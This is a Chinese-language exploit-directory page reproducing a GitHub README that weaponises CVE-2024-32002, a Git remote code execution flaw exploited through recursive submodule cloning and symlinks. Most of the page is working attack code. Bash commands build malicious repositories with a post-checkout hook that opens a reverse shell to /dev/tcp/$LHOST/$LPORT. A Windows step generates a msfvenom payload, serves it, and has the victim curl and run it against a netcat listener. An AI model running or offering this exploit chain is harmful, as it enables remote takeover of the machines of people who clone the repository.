Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/charlesgargasson/cve-2024-32002
权限提升漏洞利用横向移动Web应用程序漏洞利用后渗透利用渗透测试命令与控制红队Payload 开发
GitHubcharlesgargasson/cve-2024-32002

CVE-2024-32002

针对CVE-2024-32002的漏洞利用程序,这是一个Git远程代码执行漏洞,通过递归子模块克隆和符号链接在Windows和Linux目标上执行任意命令。

242年前尚未审核
分享
查看仓库

###################### GIT RCE CVE-2024-32002 ######################


描述


| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/

|


利用


| 首先你需要在 git 上创建 "calledrepo" 和 "commandrepo" 仓库。 | 受害者稍后通过 "git clone --recursive calledrepo.git" 调用 calledrepo,该操作会重定向到 commandrepo 并执行钩子脚本。 | 这个 bash 反向 shell payload 在 WINDOWS 和 LINUX 上均有效。 | | 我使用 docker 中的 git cli,因为我不想搞乱系统的 git 配置,但这不是必须的。

.. code-block:: bash

启动一个 debian docker 实例

docker run --rm -it debian

安装 git

apt update apt install -y git

| 配置 git

.. code-block:: bash

git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main

| 设置变量

.. code-block:: bash

GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"

| 填充仓库

.. code-block:: bash

cd /tmp rm -rf calledrepo commandrepo

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..

在受害者机器上执行的命令

echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"

|


Windows


| 在 Windows 上利用后,你会得到一个存在某些问题/限制的 git bash: |

.. code-block:: bash

$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found

| 如果你想逃离这个环境,可以调用一个新的反向 shell: |

.. code-block:: bash

攻击者端

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113

.. code-block:: bash

Windows 端

cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe

|

| 别忘了 git bash 可能优先于 Windows 命令的路径。 | 你可以使用完整路径运行 Windows 命令。 |

.. code-block:: bash

C:\windows\System32\whoami.exe /all

|

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    590
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    383
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    309
  • 6

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    283

探索所有工具

浏览我们的工具集合

查看所有工具 →